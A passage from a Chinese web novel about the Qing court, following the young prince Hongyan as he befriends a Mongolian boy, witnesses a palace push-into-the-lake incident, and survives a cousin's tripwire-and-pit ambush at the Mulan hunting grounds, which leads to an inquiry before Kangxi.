格日乐图说完,直接站了起来,将自己的鞋袜脱去,又将裤腿撸了上去,而后唤自己的随从将长长的鱼叉拿了过来。 弘晏一愣:“你想下水?” 格日乐图明白弘晏担心自己,爽朗一笑:“放心,我不走远。” 话音落下,格日乐图举着鱼叉就走到了溪边,而后抬脚下了水。 潺潺的溪水从格日乐图的脚上缓缓流过,别说,还挺舒服的。 格日乐图眼睛下移,开始寻找鱼儿。 而坐在岸边钓鱼的弘晏已经没有心思管自己的鱼竿,两只眼睛都盯在了格日乐图身上。 格日乐图又往前走了两步,便停下了。 因为,他已然瞧见了在溪里游动的鱼儿。 只是,鱼儿寻动的速度比较快,所以格日乐图现在要做的就是等待时机。 岸上的弘晏瞧着格日乐图十分专注的眼神,自己不禁也屏住了呼吸。 下一瞬,格日乐图手里那泛着光芒的鱼叉猛然插向了水中。 弘晏探着小脑袋,迫切想知道格日乐图有没有成功。 片刻的功夫,格日乐图嘴角上扬,将鱼叉从溪里高高举起来:“弘晏,快看。” 那鱼叉上插了一条好大的鱼,鱼儿正在拼命的甩着尾巴。 弘晏起身,朝着格日乐图的方向小跑过去:“格日乐图,你好厉害。” 格日乐图瞧见弘晏这般欢喜,笑道:“这不算什么,你也别钓了,等着我给你多捕几条。” 弘晏听了这话,便道:“那你来捕鱼,我来烤鱼。” 格日乐图很是意外:“你会烤鱼?” 弘晏骄傲的扬了扬小脸儿:“当然,我可是跟圆明园的御厨学过的。” 格日乐图点头:“好。” 格日乐图将鱼叉上的鱼扔进岸上备好的木盆里,便继续捕鱼了。 而弘晏便开始准备烤鱼所需的材料,幸好事先他让田玉和石泉都带来了。 很快,格日乐图又捕了两条鱼,弘晏便喊格日乐图上岸。 格日乐图将脚丫子晾干,便穿上了鞋袜,将裤腿放下,而后认真的看着弘晏烤鱼。 不得不说,弘晏这架势确实是烤过鱼的。 很快,烤鱼的香味便飘了出来。 待鱼烤好后,弘晏将第一条鱼递给了格日乐图。 格日乐图道了声谢,吹了吹鱼肉上冒出来的热气,就张口咬了一下:“好吃的,弘晏。” 闻着香,吃着更香。 弘晏自己也拿了一条烤鱼:“嘿嘿,你喜欢吃就好。” 吃饱喝足,弘晏与格日乐图就打道回府了。 第三日天气不错,弘晏带着格日乐图来郊外野餐。 田玉将一块毯子平铺在草地上,石泉则将弘晏点名要的吃食放在了毯子上。 除了弘晏准备的糕点、水果之外,格日乐图也带来了牛肉干和奶酪。 两个人品尝了对方的吃食,填饱了肚子以后,便躺在了毯子上一起望着蓝天白云。 忽而,格日乐图冒出来一句:“草原上的蓝天白云比这里还要好看。” 弘晏闻言,扭脸看向格日乐图,只瞧见了格日乐图的侧脸:“格日乐图,你想家了?” 格日乐图只道:“京城虽好,但我还是更喜欢广阔的草原,成群的牛羊也可以自由的奔跑。” 他生在草原,长在草原,他是草原上的儿女。 弘晏听罢,正欲开口,便见格日乐图扭了过来:“弘晏,有机会你来草原,我给你烤羊肉吃。” 弘晏笑着答应:“好啊。” 他想见识见识外面的世界。 格日乐图又坐了起来,有些不确定的看向弘晏:“弘晏,你还会记得我吗?” 弘晏坐了起来,看着格日乐图柔柔的笑:“当然,格日乐图,我们是朋友。” 不打不相识的朋友。 “朋友。”格日乐图重复了一遍,而后笑着对着弘晏伸出了自己的手。 弘晏忽闪着眼睛,将自己的手放在格日乐图的手心上。 两日后,蒙古亲王便要带着格日乐图回到草原上了。 启程之前,弘晏与格日乐图默契的都为对方准备了一件礼物。 弘晏准备的是一把上好的弓,上面用满、蒙、汉三种文字刻了格日乐图的名字。 而格日乐图给弘晏的礼物是一把削铁如泥的蒙古弯刀,刀鞘上同样刻了弘晏的名字。 弘晏与格日乐图在康熙和蒙古亲王的见证下,郑重的交换了礼物。 而后,弘晏站在康熙身旁,瞧着蒙古亲王的队伍越走越远。 第136章 第136章一线吃瓜 直到蒙古亲王的队伍出了宫门,再也瞧不见了,弘晏方低下头看着手里的蒙古弯刀,用手指摩挲着刀鞘上面雕刻的名字——弘晏。 这几日,他已经习惯了有格日乐图在身边了。 格日乐图这忽然这一走,他确实有些舍不得。 康熙看出了弘晏眼中的落寞和不舍,笑着开口:“福宝,跟皇玛法下两局棋如何?” 弘晏抬眼看向康熙笑着应声:“好。” 乾清宫内的鎏金香炉里燃着龙涎香,康熙与弘晏祖孙二人盘腿而坐,弘晏耷拉着小脸儿看着面前的棋盘,将手里的棋子扔回了棋盅里:“又输了。” 康熙笑了,缓缓开口道:“等你什么时候能赢了你阿玛,那就离赢朕不远了。” 这时,魏珠进来禀报:“皇上,该传膳了。” 康熙听罢,看向了弘晏:“福宝,想吃什么?” 弘晏歪着脑袋想了想,报了一连串的菜名,魏珠颔首退下。 这时,弘晏又笑呵呵的看向了康熙:“皇玛法,一会儿用膳的时候,咱们比赛,看谁吃的多。” 康熙端起茶盏,笑得慈祥:“好。” 用罢午膳,康熙带着弘晏在内殿睡了午觉,醒来后康熙带着弘晏去了演习场。 康熙几位年幼的阿哥正在练习射箭。 眼尖的二十三阿哥胤祁发现了康熙和弘晏的身影,迈开腿跑过去:“汗阿玛,福宝。” 其余的阿哥们听了这话,皆向康熙请安。 康熙抬手:“都起来吧,继续练。” 康熙又看向面前的胤祁:“你也去。” “好!”胤祁脆生生的说完,又跑了回去。 当着康熙和弘晏的面,胤祁下定决心要好好展示自己的。 康熙拉着弘晏走了过去,夸道:“小二十三,箭术是精进了不少。” 被康熙夸奖的胤祁朝着弘晏眨了眨眼睛:“嘿嘿,我说过的,我要撵上福宝的。” 弘晏闻言,跟着夸道:“是,二十三叔进步飞快呢。” 胤祁笑着挠了挠脑袋。 这时,二十四阿哥胤祕走过来,拉了拉康熙的衣摆,有些委屈:“汗阿玛,你都不夸我。” “朕的小二十四也更厉害了。”康熙说完,俯身抬手刮了一下胤祕的鼻子。 胤祕立刻笑起来。 看完阿玛们练习骑射,康熙又被弘晏等人拉着一起玩捉迷藏,准确的说就是康熙来捉,弘晏、胤祁和胤祕负责躲。 弘晏还不忘交代:“皇玛法,你要闭上眼睛数够一百再睁开哦。” “皇玛法知道了。”康熙说完,就闭上了眼睛开始数数,弘晏、胤祁和胤祕朝着不同的方向跑去。 弘晏今日穿的是一件绿色的袍子,所以弘晏就选择了躲在草丛里这样只要他不动,就不宜被人发现。 弘晏选择了一个舒服的姿势蹲好后就不再动了,静静地等着康熙来寻找他。 可就在这时,弘晏却听到了两个女人说话的声音,因为离得比较远,草丛中的弘晏听不清具体在说些什么,但能听出来情绪都比较激动。 是以,弘晏在强烈的好奇心下,还是悄悄的探出脑袋去看。 那两个女人的穿着打扮应该是康熙的嫔妃,不过弘晏并不认识,只是这两个女人说着说着,那个穿粉色祺装的女人将穿着蓝色祺装的女人推进了水里,而后就踩着花盆底逃走了。 弘晏见状,立刻从草丛里跑过去,只见那穿着蓝色祺装的女人在水里扑腾的厉害。 弘晏可惜自己不会游泳,便大喊出来:“来人啊,快来人啊,有人落水了。” 因为弘晏怕自己的躲藏地被康熙发现,就不让田玉跟着他,田玉便在数米远的地方侯着,如今听到了弘晏的呼救声,田玉还以为是弘晏出了事,赶忙跑过来:“世子,怎么了?” 弘晏指着水里:“田玉,快,快下水救人。” “世子放心,交给奴才。”田玉说完,就纵身跳进了湖里。 而弘晏则跑去找康熙。 康熙已经找到了胤祁和胤祕,正往这边来,寻找弘晏的踪迹,走到半路却见着弘晏自己跑了过来。 见到康熙,弘晏跑的更快了,气喘吁吁的说道:“皇玛法,有人落水了。” 康熙听了这话,脸上的笑容瞬间凝固,眉眼沉了下来。 弘晏带着康熙赶到时,田玉已经将人救了上来,只是这女人呛了水,如今已经昏迷了。 康熙认出来了,这是他几个月前刚封的答应刘氏。 康熙吩咐人将刘答应抬回去,又宣太医给刘答应诊治。 这时,弘晏开了口:“皇玛法,让田玉换件衣裳吧。” 康熙的视线这才看向为救刘答应浑身湿漉漉的田玉:“来人,带着田玉去换衣裳吧。” “奴才谢皇上。”田玉说完,就跟着御前的小太监下去了。 康熙抬手摸了摸弘晏的小脑袋:“福宝,吓坏了吧。” 弘晏摇摇头:“皇玛法,我在草丛里躲着,亲眼看见有人推她下去的。” 康熙心里明白,刘答应不会蠢到脚滑失足落水,但他没有想到弘晏竟然目睹了全过程。 于是,康熙拉着弘晏的手回乾清宫,一边走,弘晏一边给康熙讲了自己看见的真相。 很可惜,他并不认识那个女人。 不多时,许太医来乾清宫回禀了刘答应的情况。 田玉救的及时,刘答应只是呛了些水,并无性命之忧。 康熙听罢,一挥手,许太医便退下了。 而后,康熙又看向了田玉开口道:“田玉救人有功,赏。” 田玉一愣,而后打千儿道:“奴才多谢皇上。” 康熙抬了抬手,示意田玉起身,随即,眼睛又看向了弘晏,说话的语气依旧温柔:“福宝,时候不早了,回雍亲王府去吧,改日皇玛法再召你进宫。” “好。”弘晏说完,朝着康熙作了个揖,就带着田玉出宫去了。 弘晏心里明白,康熙这里要处理后宫的事情了,而自己作为孙子辈是不适合在场的。 但 弘晏自己在心里也嘀咕了起来,便宜阿玛有五六个小老婆,在他看来已经够多了,而康熙后宫佳丽三千,这么多女人住在一起,自然就是争宠不断、纠纷不停了。 —— 日子进了夏季,天儿又开始燥热起来。 学堂内,弘晏和弘历拿着狼毫笔在写大字,而弘昼已然趴在桌上呼呼大睡了。 朱师傅拿着戒尺拍了一下桌子,弘昼立马惊醒,瞧清楚眼前人是朱师傅以后,弘昼撅着嘴开始抱怨:“朱师傅,我正吃西瓜呢,您这一拍,我的西瓜都没了。” 朱师傅眉头一皱很是严肃:“五阿哥,去照照镜子。” 弘昼疑惑道:“照镜子干吗?” 这时,弘晏瞧见了弘昼的样子,忍不住笑出声来:“五哥,你的脸上都是墨水。” 弘昼听了这话,低头一瞧,连自己的手心也是黑乎乎的,宣纸上的字跟鬼画符一般,而且中间还晕染了一团墨,但这团墨还有弧度和棱角,弘昼猜想这应该就是自己的侧脸压出来的。 “朱师傅,我这就去洗把脸。”弘昼说着,便撒腿跑出去。 朱师傅摇了摇脑袋,转而去看弘晏的字。 弘昼洗完脸时,正好到了下课的时间,弘昼正准备上树捉只知了,就听见一个小奶音在唤自己:“五叔。” 弘昼低头一看,原来是弘时的儿子永珅。 弘昼笑问:“你怎么来了?” 两岁的永珅咧着嘴笑:“额凉叫窝给叔叔送西瓜汁。” 弘昼听了这话,直接打开了永珅乳母手里拎着的食盒,端出一碗西瓜汁一饮而尽,又抬起手背擦了嘴。 永珅的乳母瞧了弘昼这一系列的操作,嘴角抽了抽。 永珅见弘昼喝得开心,伸展双臂唤道:“五叔,抱抱。” 弘昼后退一步,连连摆手:“你是个爷们儿,又不是小姑娘,动不动就让人抱呢。” 弘昼说完,直接转身上了树。 永珅见弘昼拒绝了自己要抱抱的请求,瘪着嘴将两只手放下了。 乳母怕永珅掉泪珠子,就赶忙转移话题:“阿哥,咱们进去吧,四阿哥和世子还等着喝西瓜汁呢。” 永珅点点头,不再看爬的老高的弘昼,而是迈起小短腿上了石阶,进了学堂。 “六叔。”永珅边喊,边小跑到弘晏面前。 弘晏眼睛一亮:“永珅。” 随即,弘晏抬手摸了摸永珅的小脑袋:“永珅是专程来看六叔的吗?” 永珅指了指乳母手里的食盒:“给六叔送西瓜汁。” 弘晏点点永珅的鼻尖:“六叔谢谢永珅。” 一碗西瓜汁下肚,弘晏觉得自己整个人都凉爽多了。 随即,永珅软糯糯的开了口:“六叔,抱抱。” 弘晏见状,直接将永珅抱坐到了自己的腿上。 永珅满足的笑出来,两只小手又扒拉着弘晏胸前的衣裳,小脑袋往上凑。 弘晏配合着低头,永珅便在弘晏脸上亲了好几下。 嘿嘿,还是六叔好。 弘晏感觉到自己的脸上被糊了一层的口水,只是嘿嘿的笑着。 等到永珅从他的腿上下去,转而去亲弘历时,弘晏才掏出袖子里的帕子擦脸。 亲完了弘历,永珅又回来找弘晏:“六叔,泥和四叔都抱窝,为什么五叔不抱窝?” 永珅说这话时,有些委屈。 他觉得五叔好像不喜欢他,可是每次他来的时候,五叔又对着自己笑。 永珅有些不明白。 弘晏揉了揉永珅的小脑袋:“永珅,五叔当然也喜欢你了,不抱你是因为害怕你。” 永珅疑惑的眨眨眼。 他有什么好怕的? 弘晏缓缓开口解释:“你周岁的时候,我们都在抱你玩儿,你五叔也抢着要抱你,可你真到了你五叔的怀里以后,在他身上撒了尿,所以你五叔就不敢抱你了。” “撒尿?” 永珅自己一点儿印象都没有了。 随后,弘晏牵着永珅的手带着他来到了树下,只见弘昼三两下下了树,将一只知了举给弘晏看:“六弟,这个知了好大的。” 知了发出的声音吸引了永珅。 弘昼便蹲下让永珅看,永珅胆子大的很,却直接上手捏住了知了。 正当弘昼准备夸永珅的时候,永珅却抬起手,要把知了往嘴里放。 幸而弘晏眼疾手快,阻止了永珅:“永珅乖,这个不可以吃的。” 要是真吃了,他们可没有办法给弘时和董鄂婧雅交代。 永珅闻言,眨着眼睛看向了自己手里的知了。 而后,永珅手一松,那知了就趁机飞了。 弘昼有些气:“永珅,你怎么放走了,我费了好大的劲儿才捉住的。” 永珅嘴一咧,眼睛里聚起了雾气,眼看就要哭。 弘昼手忙脚乱的开始哄:“永珅,你可别哭啊,放了就放了,五叔还能捉更大的来。” “五哥,你抱抱永珅吧。”弘晏这话一出口,永珅也跟着伸展双手:“抱抱。” 弘昼有些犹豫。 永珅见弘昼还是拒绝自己,抽了抽鼻子。 弘昼赶忙将永珅抱了起来:“别哭,别哭啊。” 永珅又笑了:“五叔,窝不撒尿。” 弘昼一愣,看向弘晏,便什么都明白了。 随即,弘昼将视线收回,嘴角扬起来:“永珅最乖了。” 话说着,弘昼抱着永珅开始原地转了一圈。 这可高兴坏了永珅:“五叔,还要转。” “好嘞,你可抱紧五叔。”话说着,弘昼又加速抱着永珅转了两圈,永珅如银铃一般的笑声飘了出来。 而弘昼感觉自己开始犯晕之后,赶忙将永珅放在了地上。 永珅一点儿事儿都没有,而弘昼像喝醉了一样,歪着走了两步就跌坐在地上了。 “五哥,你没事吧?”弘晏有些担心。 弘昼摆手:“没事儿,叫我缓缓。” 第137章 第137章木兰围场 一眨眼,时间来到了康熙六十四年,秋。 康熙这几日入睡后,一直在做梦,梦见了自己年轻时穿着骑装、骑着骏马,在围场上肆意驰骋狩猎的场景。 是以,早朝时康熙宣布了一件大事,那就是他要摆驾木兰围场。 这个消息出来,朝中大臣有赞同,但还是反对的声音居多。 至于反对的原因不外乎是让康熙以龙体为重。 康熙对于反对的声音,不予理会。 他这般年岁,如果这次再不去木兰围场,怕是以后都没有机会了。 康熙圣意已决,朝臣们只好跪安。 早朝散后,胤禛去了户部,待黄昏时分胤禛回了雍亲王府,便将四个儿子都叫到了书房。 胤禛饮了口茶,看着齐齐站成一排的儿子们,缓缓开了口:“你们皇玛法要摆驾木兰围场,你们四个都去,届时要好好表现。” 弘晏等人齐齐应声。 胤禛又看向了弘昼,嘱咐道:“弘昼,到了木兰围场,必得守规矩,知道吗?” 弘昼小手一背,晃悠着小脑袋:“阿玛,放心吧,我哪次不守规矩了。” 胤禛:“……” 随即,胤禛摆手: “都去准备吧,明日一早就出发。” 木兰围场什么都不缺,轻装上阵是最好的,不过弘晏带上了自己夜里会抱着睡觉的小兔玩偶。 弘晏练习骑射已经有两年了,弘晏自我感觉还是可以的,这次去木兰围场,他要打上几只猎物才行。 弘晏想着想着就睡着了,第二日清早就被田玉给叫醒了。 御前侍卫在最前面开路,康熙的马车走在队伍前面,后妃、皇子以及王公大臣的们的马车,按照顺序跟在康熙的马车后面。 出了城门,弘晏掀开马车帘子往后面瞧,这浩浩荡荡的队伍跟游龙一般,压根望不到头。 好在弘晏路上有弘历和弘昼作伴,三个兄弟说说笑笑的倒也不觉得无聊。 到了木兰围场以后,众人按照事先分配好的营帐,各自去休整。 弘晏在马车上与弘历、弘昼玩了一路,现如今倒是打起哈欠来了。 石泉便服侍弘晏先小憩一会儿。 半个时辰后,弘晏从榻上坐起来,将双臂举过头顶,伸了一个大大的懒腰。 睡足了觉,活力满满的弘晏下了床榻,出了大帐,呼吸着新鲜的空气。 这时,弘昼跑了过来:“六弟。” 弘晏扭脸笑道:“五哥。” 弘昼只道:“六弟,你可睡醒了。” 他一进来来找过弘晏一趟了只是听石泉说弘晏在睡觉,他就又回去了。 弘晏歪着脑袋问:“五哥,找我有事吗?” “走,咱们找四哥一起玩去。”弘昼说着,就拉起了弘晏的手。 次日清晨,刚换好骑装的弘晏被叫到了康熙的营帐。 而此时的康熙已经穿上了明黄色的骑装,看向弘晏笑着问道:“福宝,皇玛法这身怎么样?” 弘晏眨着星星眼夸道:“嘿嘿,皇玛法英武非凡。” 康熙笑了,俯视着弘晏:“福宝,这是你第一次狩猎,可要多猎几只,给皇玛法瞧瞧。” 平日里练习的再好,也是纸上谈兵,到了围场上,才能见真章呢。 弘晏拍了拍自己的小胸膛:“皇玛法就等着吃烤肉吧。” 康熙爽朗一笑,弘晏是信心十足呢。 随后,康熙又道:“走,跟着皇玛法出去。”说着,康熙就拉起了弘晏的手往外走。 在康熙的营帐外等候已久的王公大臣们见康熙拉着弘晏出来,面上皆是一惊。 康熙抬了抬手:“众卿平身。” 康熙松了弘晏的手,走到了魏珠牵着的红鬃马旁,而后翻身上马。 康熙面上不显,心里却明白自己的力气大不如前了。 其余众人见康熙坐稳之后,便都翻身上马。 梁九功将一把长弓递上,康熙伸手接过长弓,从箭筒里掏出一支羽箭,而后秒准了树上挂着的彩球。 “嗖——”的一声,羽箭飞速蹿出去,穿透了彩球上的丝线,插进了树腰上。 “皇上英武。”梁九功与魏珠带头高呼,其余人等随之附和。 马背上的康熙露出了笑容,看了一眼弘晏后,大手一挥:“大清的勇士们,随朕出发。” 响应康熙的是众人高声应答的“嗻。” 待康熙轻夹马腹一马当先的跑出去之后,众人皆策马而去,一时间,尘土飞扬,黄沙四溅。 康熙跑出去没多久,眼前就出现了许多猎物,诸如野兔、野鸡一类。 康熙弯弓搭箭,很快就射中了许多猎物。 御前小太监去捡康熙射中的猎物,梁九功在一旁夸道:“皇上,您的射术百发百中,就是比起当年来,也毫不逊色啊。” 康熙摸着长弓,嘴角一弯,扭脸看向马背上的梁九功,似笑非笑:“你真当朕是老糊涂了。” 梁九功一愣:“皇上,奴才愚钝,不知您在说些什么啊。” 康熙又从箭筒里捏出一只羽箭,搭在弓弦上后,却瞄向了马背上的梁九功。 梁九功急忙翻身下马,踉跄的跪在地上:“皇上,奴才不知哪里做错了,还望皇上明示,也好叫奴才做一个明白鬼。” 康熙的弓箭依旧瞄准着地上的梁九功,一双眼眸散发出犀利的光,居高临下的哼道:“这些猎物不是你特意命人放出来的吗?” 哪里就这么巧了,他刚骑马到此处,猎物就一窝蜂的涌出来了。 梁九功没有为自己辩解,而是默默叩起头来:“皇上慧眼如炬,奴才欺君,罪该万死。” 梁九功的心思,康熙如何不清楚,叹了口气,目光变得柔和,转而将弓箭收了起来:“你这老命还是留着御前效力吧。” 话落,康熙调转马头:“摆驾回营,朕要更衣。” 上了年岁,不过这么会儿子的功夫,康熙便觉得身上有些乏累了。 左右他已经过了狩猎的瘾,这次狩猎,还是叫他的皇子皇孙们大展身手吧。 “嗻,奴才谢皇上宽宥。”梁九功说完,忙不迭上了马背,握着缰绳随康熙回营去。 另一边,弘晏和弘昼两个人并排骑着大马很是兴奋,因为他们两个人都是第一次狩猎。 忽而,弘昼见草丛里钻出来一只小灰兔在吃草,边弯弓搭箭,边对身旁的弘晏,压低声音说道:“六弟,这兔子是我先看中的,你可不能跟我抢啊。” 这只灰兔即将成为他弘昼的第一只猎物。 弘晏瞧着这面前的灰兔还在埋头吃草,不禁想起了自己曾经是玉兔精的事实,是以,弘晏扭过脸看向弘昼,开始为这只灰兔求起情来:“五哥,能不能放过这只兔子。” 兔子到底是他的同类,他若是瞧不见也就罢了,可现在亲眼瞧见了,他就做不到眼睁睁的看着这只灰兔死去。 弘昼已然瞄准了这只灰兔,只要他松了弓弦,那羽箭便会飞出去射中灰兔。 “为何?”弘昼疑惑的问。 弘晏的手指向灰兔:“五哥,你看,这兔子多可爱啊,看在我的面上上,放它一马吧。” 一边是猎物,一边是弟弟,弘昼犹豫过后,当然还是选择了弘晏。 弘昼将弓箭收起来:“好吧,看在六弟你的份儿上,我就放过它。” “多谢五哥。”弘晏的话音刚落地,一只羽箭快速从他们面前飞过去,射穿了灰兔的身体,那灰兔顿时倒在地上,毛发上渗出了鲜艳的血,嘴里还叼着没吃完的草。 弘晏和弘昼齐刷刷的扭过头去看,只见不远处的弘昇左手拿弓,右手握着缰绳,两条腿轻夹马腹慢悠悠的走过来。 “弘昇,是你干的!”弘昼忍不住开口。 弘昇略过弘昼,眼神盯向了弘晏,嘴角一弯,嗤道:“连只兔子都舍不得伤,真是慈悲为怀,还骑什么马,狩什么猎,不如改吃素的好。” 弘昼质问道:“弘昇,你说什么呢?!” 弘昇掀了掀嘴角:“说的大实话。” 弘昼正欲发作,却被弘晏拦住:“五哥,不必理会他,咱们去前面瞧瞧。” 围场上,本就是各凭身手,这件事情就算闹到了皇玛法面前,他也是不占理的。 弘昼听了弘晏的话,暂且压下了火气,与弘晏一起策马向前奔去,不再理会弘昇。 弘昇见状,轻夹马腹跟了上去。 这一次,是弘晏先发现了猎物:“五哥,你瞧,是只黑野猪。” 弘昼惊喜道:“六弟,那你还等什么?” 弘晏笑着开口:“五哥,你来射吧。” 刚刚那件事儿,他心里有些愧疚。 “六弟,那我可不客气了。”弘昼说着,便弯弓搭箭,可在弘昼正准备松了弓弦的时候,一只羽箭先弘昼一步射出,那羽箭射在了树腰上,虽然没有射中,但却惊动了黑野猪,那黑野猪立马逃窜进了树林,不见踪影了。 弘晏和弘昼一扭头,来人又是弘昇。 弘昼皱着眉:“弘昇,你诚心的,是不是?!” 弘昇骑着马向前,不以为意道:“等了你半天,不见你射,我是帮你一马。” 弘昼骂道:“呸,谁用你帮,你箭术不行,射不中,就故意吓跑我的猎物。” 弘昇脸上浮现出怒意:“好啊,弘昼,你竟然敢呸我。” 弘昼丝毫不惧,高傲的抬了抬下巴:“呸你怎么了?” “你……”弘昇真是被弘昼气到语塞。 方才,弘晏还可以理解为弘昇是想多打些猎物,好在康熙面前露脸,可现在弘晏明白了,弘昇从一开始就跟着他们兄弟二人,目的就是为了搞破坏,只是弘晏不明白,自己未曾得罪过弘昇,弘昇放弃狩猎,而故意针对他们是为何? “五哥,不用理无聊的人,我们换条路走。” 现在的情形容不得弘晏深想,他怕再还拦着弘昼,弘昼就要挥起拳头打人了。 届时,他们有理也成了没理。 再者,他倒要看看,换条路狩猎,弘昇还会不会跟着他们。 弘昼跟着弘晏调转马头,往另一条路去了。 而弘昇见着弘昼和弘晏远去的背影,勾了勾嘴角。 第138章 第138章成王败寇 “都怪弘昇那家伙,败了咱们兄弟的好兴 致。”弘昼一边骂,一边握紧缰绳。 而弘晏边骑着马,边回头去望,身后却完全不见弘昇的踪影。 弘晏感到很奇怪。 弘昼发现了弘晏的注意力不在自己身上,便出声问:“六弟,你回头看什么呢?” 对着弘昼,弘晏如实告知:“五哥,怎么不见弘昇的人影?” “哼,他还敢来打扰咱们兄弟,我非要好好教训他一顿不可。”弘昼气呼呼的说完,还亮了亮自己的拳头。 弘晏想着,可能是自己多虑了。 毕竟他和弘昼有两个人,弘昇激怒了他们,再动起手来也占不了什么好处。 “六弟,快看,好肥的鹿啊。”弘昼说着,便急忙弯弓搭箭,只可惜由于距离有些远,弘昼的箭射偏了,惊动了那头鹿,那头鹿便跑向树林了。 “竟让它跑了,六弟,我要去追那头鹿了。”弘昼说着,便握紧了手中的缰绳。 逛了这么久,丢失了一只灰兔,一只黑野猪,他可不能再让这头鹿跑了,否则时辰到了,他岂不是要空手而归了,那多惹人笑话啊。 “五哥,且慢。”弘晏压低声音道。 弘昼追鹿的心情很急切,但还是耐着性子问向弘晏:“为何?” 弘晏朝着弘昼使了个眼色。 弘昼一望,才发觉不远处的左右两棵树,以及挨着的草丛里有红顶子微微露出来。 有红顶子,那便是有人躲在那里。 弘昼看向了弘晏,弘晏为了不打草惊蛇,伸出两只手给弘昼比了个手势。 弘昼看明白了,弘晏是让他配合自己,从左右两旁绕过去包抄。 弘昼点了点头。 而后,弘晏骑马往左手边的草丛去,弘昼骑马往右边的草丛去。 两个躲藏在两旁草丛里的人听见这马蹄声越来越近,却不见人影,一抬头才发现人已经来到了自己面前。 两个戴着红顶子的小太监撒腿就跑,弘晏与弘昼相视一眼,弯弓搭箭,两只羽箭快速飞出,弘晏的箭射中了小太监的右腿,而弘昼的箭射中了另一个小太监的右腿。 两个小太监先后惨叫起来,跌落在地。 弘晏与弘昼策马向前,而后翻身下马,擒拿住了两个小太监。 弘晏揪住小太监的衣领,质问道:“说,你是谁,为何要害我?” “奴才小瓶子,是专门给按个摩们捡猎物的。” 小太监说的真切,弘晏却丝毫不信:“你方才扔掉的东西是绊马索,还敢诓我,说,是谁指使的你。” 若是他没有发现红顶子,那他就会和弘昼一起去追那头鹿,接着就会被绊马索绊倒,狠狠的摔下马去。 若无人指使,一个小太监怎么会有这么大的胆子,更何况,害了他与弘昼,小太监能得到什么好处。 弘晏稚嫩的小脸阴沉下来,那看人的眸子像是凝结了一层冰,冷的骇人。 小瓶子吞了吞口水,后背有些发凉:“奴才,奴才不知道什么绊马索。” 弘晏笑着拔出了小瓶子右腿上的羽箭,接着小瓶子就是一声哀嚎,呲牙咧嘴的捂住受伤流血的右腿。 “六弟,那边还有人!” 弘昼话音落下,弘晏眸子望向远处,便见有几个红顶子的小太监跑了。 弘晏喊道:“五哥,先审出这两个活口。” 弘昼应了一声,抬手就是两个嘴巴子:“再不说,我可没这么好的耐性了。” 敢算计他和六弟,他非剥了那人的皮不可。 这厢,弘晏抽出了自己腰间的蒙古弯刀,而后俯下身,将蒙古弯刀贴在了小瓶子的脸颊上:“这是蒙古弯刀,削铁如泥,你若供出幕后主使,我会饶你和你的家人性命,可你若不说,我就将你一片片割下来,你如今失了手,你背后的主子还会保你和你的家人平安不成。” 弘晏说着,便要动手。 小瓶子感受到这蒙古弯刀在自己的脸颊上滑动,赶忙开口:“世子,奴才招,奴才都招,是弘昇阿哥。” 弘晏拿蒙古弯刀的动作一顿,弘昇? 如此说来,他之前疑惑便迎刃而解了。 “弘昇大费周章,就是为了害我兄弟二人落马?”弘晏有些不相信。 “不只这些,还有那个。”小瓶子说着,指向了路中央的那块空地。 而弘昼那边也审问出了结果,弘晏与弘昼带着两个小太监,来到了他们指认的那块空地前。 弘晏在路边搬了块大石头,扔向了那空地。 随着大石头触碰到那块空地,那块空地便凹陷下去,弘晏与弘昼探头去看,是一个大坑,坑里还插有利刃。 看来,这不仅是要害他们出丑,更是要害他们的性命。 又或许,弘昇要害的从始至终只有自己。 弘晏与弘昼一人拖了一个小太监,返回营地。 到了营地,弘晏翻身下马,径直往康熙的大帐去。 在康熙的大帐外守着的魏珠见了,笑着问道:“世子,您这么快便返程了?” 弘晏一脸严肃:“魏公公,替我通禀皇玛法,有人要害我性命。” 康熙听了魏珠的话,立马从大帐里疾步而出:“福宝,可有伤着?” 弘晏直接跪在了康熙面前:“皇玛法,孙儿托皇玛法的福,并未受伤,但孙儿不知得罪了谁,竟险些丧命,还i请皇玛法为孙儿做主。” 弘晏说完,朝着康熙深深一拜。 康熙弯腰扶弘晏起来:“皇玛法定为你做主。” 康熙说完,眉眼沉下来,吩咐道:“魏珠,召所有人回营,再命禁卫军清扫围场。” 他倒要看看,是谁狗胆包天,竟敢在他的眼皮子底下谋害他的爱孙。 不出两刻钟,所有的人都回到了营地。 乌拉那拉氏和胤禛更是围住了弘晏。 “福宝,伤到哪里了?”乌拉那拉氏一脸担心。 弘晏摇摇头:“额娘,我没事。” 康熙面前,胤禛拉着乌拉那拉氏退到了一旁。 人都已到齐,弘晏看向了上首端坐着的康熙:“皇玛法,太监小瓶子和太监小盒子欲以绊马索绊倒孙儿与五哥,现已被孙儿与五哥擒获。” 弘昼站在弘晏身旁,没了往日的嬉笑顽皮,而是一脸严肃的拱手道:“禀皇玛法,六弟所言,句句属实。” 康熙看向跪起地上的两个小太监,以及物证绊马索,喝道:“大胆的奴才,竟敢谋害朕的皇孙还不从实招来。” 小瓶子急忙开口:“皇上,是弘昇阿哥,他看不惯雍亲王世子受宠于您,便想趁此机会除了雍亲王世子。” 小盒子接着往下说:“弘昇阿哥事先命奴才们挖了大坑,又在大坑里插了利刃,再命奴才与小瓶子埋伏在草丛里,只要他把雍亲王世子引过来,奴才们就放出猎物吸引雍亲王世子策马追赶,再用绊马索绊倒雍亲王世子,雍亲王世子从马上摔下来,便会掉进事先挖好的大坑里。” 乌拉那拉氏听完了两个小太监的话,眼眶都红了,紧紧握住手里的帕子,身子都在颤抖:“董鄂氏,你就是这么教养你儿子的?!” 什么仇,什么怨,非要至她的孩子于死地不可。 胤禛搂住了浑身颤抖的乌拉那拉氏。 九福晋赶忙解释:“四嫂,这里面一定有误会。” 随即,九福晋指向跪在地上的两个小太监:“你们受了何人的指使,竟要冤枉我儿害人!” 这时,魏珠走了过来:“皇上,经过禁卫军的搜查,雍亲王世子与弘昼阿哥经过的那条路,的确有大坑,坑里亦有利刃。” 康熙愤然道:“弘昇,人证、物证俱在,你还有何话可说?!” “汗阿玛……” 胤禟的话还没说出口就被康熙冷冷打断:“闭嘴,朕在问弘昇。” 弘昇跪在地上,开口解释:“皇玛法明鉴,孙儿是受了弘旺的蛊惑了。” 弘昇此话一出口,弘晏便相信了一半。 他与弘昇并没有直接的仇怨,可要是说起跟弘旺的仇怨,那可就多了。 郭络罗氏立马跳出来:“弘昇,你小小年纪便要害骨肉兄弟,还敢攀扯我们弘旺。” 弘旺委屈巴巴的跪在地上:“皇玛法,孙儿不知哪里得罪了弘昇,弘昇红口白牙就要污孙儿清白,请皇玛法为孙儿做主。” 